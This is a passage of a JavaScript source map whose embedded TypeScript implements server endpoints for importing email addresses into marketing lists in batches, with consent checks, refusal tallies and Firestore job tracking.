rows\n}\n\n/**\n * `POST email/list-import-run` — enroll the next batch.\n *\n * Body: `{ hostId, listId, importId }`. Answers `complete` when the cursor\n * has reached the total, so the caller's loop is \"call until complete\" and\n * nothing has to guess how many runs a file needs.\n *\n * ## The cursor moves for every address, enrolled or refused\n *\n * A refusal is a finished address. Advancing only on success would put a\n * suppressed address at the head of the queue forever and turn the import\n * into a loop that never terminates on exactly the files that most need to\n * terminate.\n *\n * ## The counters are incremented, not recomputed\n *\n * `FieldValue.increment` rather than a read-modify-write, so two runs racing\n * on one job — a merchant with the drawer open in two tabs — cannot lose a\n * batch's worth of tally. The cursor is written as an absolute value because\n * it is the position the NEXT run reads from, and two racing runs that both\n * incremented it would skip a batch rather than repeat one; repeating is safe\n * (`enrollListMember` is keyed by the person), skipping is not.\n */\nexport const emailListImportRunHandler: PluginApiHandler = async (req, res) => {\n if (req.method !== 'POST') {\n return res.status(405).json({ error: 'Method not allowed' })\n }\n const importId = String(req.body?.importId ?? '').trim()\n if (!importId) return res.status(400).json({ error: 'Missing importId' })\n try {\n const context = await resolveListContext(req)\n if (context.ok === false) {\n return res.status(context.status).json(context.body)\n }\n const importRef = context.listRef\n .collection(LIST_IMPORTS_SUBCOLLECTION)\n .doc(importId)\n const job = await importRef.get()\n if (!job.exists) {\n return res.status(404).json({ error: 'Unknown import' })\n }\n const total = Number(job.get('total') ?? 0)\n const cursor = Number(job.get('cursor') ?? 0)\n if (cursor >= total) {\n return res.status(200).json(finishedPayload(job, context))\n }\n\n const staged = await readStaged(importRef, cursor, total)\n if (!staged.length) {\n /*\n * The staging area is short of what the job claims. Recorded as\n * complete rather than retried forever: the addresses that were\n * enrolled stay enrolled, and a job that cannot be finished is more\n * useful marked finished with its real numbers than left as a\n * permanently unfinished import a merchant is told to resume.\n */\n await importRef.set(\n { status: 'complete', cursor: total, updatedAt: FieldValue.serverTimestamp() },\n { merge: true },\n )\n return res.status(200).json({\n ...finishedPayload(job, context),\n complete: true,\n cursor: total,\n })\n }\n\n const attested = job.get('attested') === true\n /*\n * The ATTESTER's account, not the caller's. See the module note: a\n * colleague who resumes somebody else's import has asserted nothing, and\n * a consent record naming them would be a claim nobody made.\n */\n const attestingUid = String(job.get('attestedByUid') ?? '')\n const nowMs = Date.now()\n\n const resolution = await resolveAddresses({\n hostId: context.hostId,\n inputs: staged.map((row) => row.e),\n })\n const byEmail = new Map(staged.map((row) => [row.e, row]))\n\n let enrolled = 0\n const refusals: Record<string, number> = {}\n const results: Array<{\n email: string | null\n enrolled: boolean\n reason?: AssignmentRefusal\n error?: string\n }> = []\n const refuse = (email: string | null, reason: AssignmentRefusal) => {\n refusals[reason] = (refusals[reason] ?? 0) + 1\n results.push({\n email,\n enrolled: false,\n reason,\n error: ASSIGNMENT_REFUSAL_MESSAGES[reason],\n })\n }\n\n for (const verdict of resolution.verdicts) {\n if (verdict.refusal || !verdict.email) {\n refuse(verdict.email, verdict.refusal ?? 'unroutable-address')\n continue\n }\n const decision = assignmentBasis({\n stored: resolution.stored.get(verdict.email) ?? readMarketingBasis(null, resolution.group),\n attested,\n actingUid: attestingUid,\n nowMs,\n })\n if ('refusal' in decision) {\n refuse(verdict.email, decision.refusal)\n continue\n }\n const row = byEmail.get(verdict.email)\n const enrollment = await enrollListMember({\n listRef: context.listRef,\n group: resolution.group,\n email: verdict.email,\n ...(row?.n ? { name: row.n } : {}),\n source: CONSOLE_IMPORT_SOURCE,\n // Never `'rule'`: the dynamic-list materializer reconciles its own\n // rows away when somebody stops matching, and a file a merchant\n // uploaded is not a rule match that can lapse.\n via: 'manual',\n // A pass-through carries the person's grants as their record holds\n // them (AGL-3320); an attestation carries none and is this site's.\n ...(decision.basis === 'contact-opt-in'\n ? { grantEntries: resolution.grants.get(verdict.email) ?? {} }\n : {}),\n consent: {\n ...decision,\n /*\n * The file's own declaration, carried onto the row it was made\n * about — but only for the basis it is evidence FOR. A\n * pass-through carries the person's own opt-in, and attaching a\n * spreadsheet column's claim to that would be dressing the\n * person's act in the merchant's words.\n */\n ...(decision.basis === 'operator-attested' && row\n ? {\n reason: importedBasisReason({\n declaredSource: row.s ?? '',\n declaredAt: row.d ?? '',\n }),\n }\n : {}),\n },\n })\n if (enrollment.enrolled === false) {\n refuse(\n verdict.email,\n enrollment.refusal === 'declined' ? 'declined' : 'unroutable-address',\n )\n continue\n }\n enrolled += 1\n results.push({ email: verdict.email, enrolled: true })\n }\n\n const nextCursor = cursor + staged.length\n const complete = nextCursor >= total\n await importRef.set(\n {\n cursor: nextCursor,\n status: complete ? 'complete' : 'running',\n enrolled: FieldValue.increment(enrolled),\n refused: FieldValue.increment(staged.length - enrolled),\n /*\n * A NESTED map, not dotted keys. `set({merge:true})` reads its keys\n * as literal field names — only `update()` expands a dot into a field\n * path — so `refusals.declined` here would create a top-level field\n * with a dot in its name and leave the map it was meant to update\n * empty. A deep merge over a nested map does what is wanted and\n * honors the increments inside it.\n */\n refusals: Object.fromEntries(\n Object.entries(refusals).map(([reason, count]) => [\n reason,\n FieldValue.increment(count),\n ]),\n ),\n updatedAt: FieldValue.serverTimestamp(),\n },\n { merge: true },\n )\n\n return res.status(200).json({\n importId,\n listName: context.listName,\n complete,\n total,\n cursor: nextCursor,\n /*\n * This RUN's numbers, named as this run's. The job's running totals are\n * read back by `email/list-import-status`; reporting an increment as a\n * total is how a progress readout comes to disagree with the record.\n */\n ranEnrolled: enrolled,\n ranRefused: staged.length - enrolled,\n refusals,\n results,\n })\n } catch (error) {\n console.error('[email] list import run failed', error)\n return res.status(500).json({ error: 'The import could not continue.' })\n }\n}\n\n/** The payload for a job that has nothing left to do. */\nfunction finishedPayload(\n job: FirebaseFirestore.DocumentSnapshot,\n context: Extract<ListContext, { ok: true }>,\n): Record<string, unknown> {\n return {\n importId: job.id,\n listName: context.listName,\n complete: true,\n total: Number(job.get('total') ?? 0),\n cursor: Number(job.get('cursor') ?? 0),\n ranEnrolled: 0,\n ranRefused: 0,\n refusals: {},\n results: [],\n }\n}\n\n/**\n * `POST email/list-import-status` — the import on this list, if there is one.\n *\n * Reached when the import drawer opens, and at no other time. It exists\n * because a browser is not a durable thing: a merchant who closed the tab\n * during a large import has an audience that is part-way filled and, without\n * this, no way to see that or to finish it. What they must never be offered\n * instead is a fresh import of the same file, which would re-run the whole\n * gate over addresses already enrolled.\n *\n * Ordered on `createdAt`, which every job document written by\n * `email/list-import-start` carries — a `limit()` with no `orderBy` answers in\n * document-id order, and the ids come from `createResourceUid()`, so the\n * \"latest\" import would be an arbitrary one.\n */\nexport const emailListImportStatusHandler: PluginApiHandler = async (\n req,\n res,\n) => {\n if (req.method !== 'POST') {\n return res.status(405).json({ error: 'Method not allowed' })\n }\n try {\n const context = await resolveListContext(req)\n if (context.ok === false) {\n return res.status(context.status).json(context.body)\n }\n const snapshot = await context.listRef\n .collection(LIST_IMPORTS_SUBCOLLECTION)\n .orderBy('createdAt', 'desc')\n .limit(1)\n .get()\n const job = snapshot.docs[0]\n if (!job) return res.status(200).json({ listName: context.listName, job: null })\n return res.status(200).json({\n listName: context.listName,\n job: {\n importId: job.id,\n status: String(job.get('status') ?? 'running'),\n total: Number(job.get('total') ?? 0),\n cursor: Number(job.get('cursor') ?? 0),\n enrolled: Number(job.get('enrolled') ?? 0),\n refused: Number(job.get('refused') ?? 0),\n refusals: (job.get('refusals') ?? {}) as Record<string, number>,\n attested: job.get('attested') === true,\n unusable: Number(job.get('unusable') ?? 0),\n duplicates: Number(job.get('duplicates') ?? 0),\n unusableSamples: (job.get('unusableSamples') ?? []) as string[],\n screening: (job.get('screening') ?? null) as ImportScreeningReport | null,\n },\n })\n } catch (error) {\n console.error('[email] list import status failed', error)\n return res\n .status(500)\n .json({ error: 'The import could not be looked up.' })\n }\n}\n\n/**\n * Import route registration.\n *\n * Reached by a person pressing a button in a browser, like the rest of the\n * console half, so none of these is on the machine-path exemption list in\n * `plugin-api-rate-limit.ts` — with one consequence worth stating: the RUN\n * route is called repeatedly by design, once per {@link\n * LIST_IMPORT_RUN_BUDGET} addresses, so the visitor limiter's per-(site, IP)\n * budget is the ceiling on how fast a large import can proceed. That is the\n * correct ceiling for a path that enrolls people into a marketing audience,\n * and it degrades into a slower import rather than a failed one.\n */\nexport function registerEmailListImportApi(): void {\n registerPluginApiRoute(\n 'email/list-import-preview',\n emailListImportPreviewHandler,\n )\n registerPluginApiRoute('email/list-import-start', emailListImportStartHandler)\n registerPluginApiRoute('email/list-import-run', emailListImportRunHandler)\n registerPluginApiRoute(\n 'email/list-import-status',\n emailListImportStatusHandler,\n )\n}\n"],"names":["ASSIGNMENT_REFUSAL_MESSAGES","assignmentBasis","createResourceUid","CSV_UPLOAD_MAX_CHARACTERS","readMarketingBasis","registerPluginApiRoute","enrollListMember","FieldValue","importedBasisReason","LIST_IMPORT_MAX_ADDRESSES","parseListImport","screenListImport","LIST_MEMBER_BATCH_MAX","resolveAddresses","resolveListContext","CONSOLE_IMPORT_SOURCE","LIST_IMPORTS_SUBCOLLECTION","LIST_IMPORT_RUN_BUDGET","LIST_IMPORT_CHUNK_SIZE","UNUSABLE_SAMPLE_MAX","ROLE_ACCOUNT_SAMPLE_MAX","readImportText","req","text","String","body","trim","error","length","screeningReport","parsed","screening","roleAccounts","roleAccountSamples","slice","purchaseTellColumns","declaresBasis","emailListImportPreviewHandler","res","method","status","json","file","context","ok","sample","rows","map","row","email","filter","resolution","hostId","inputs","listName","columns","usable","unusable","duplicates","overCeiling","ceiling","unusableSamples","input","sampleSize","verdicts","optedIn","needAttestation","refused","console","emailListImportStartHandler","attested","attestConsent","staged","e","name","n","declaredSource","s","declaredAt","d","importId","importRef","listRef","collection","doc","chunks","at","set","total","cursor","enrolled","refusals","attestedByUid","uid","attestedAtMs","Date","now","startedByUid","createdAt","serverTimestamp","updatedAt","runBudget","readStaged","take","Math","min","max","index","floor","snapshot","get","stored","exists","Array","isArray","offset","push","emailListImportRunHandler","job","Number","finishedPayload","merge","complete","attestingUid","nowMs","byEmail","Map","results","refuse","reason","verdict","refusal","decision","group","actingUid","enrollment","source","via","basis","grantEntries","grants","consent","nextCursor","increment","Object","fromEntries","entries","count","ranEnrolled","ranRefused","id","emailListImportStatusHandler","orderBy","limit","docs","registerEmailListImportApi"],"mappings":"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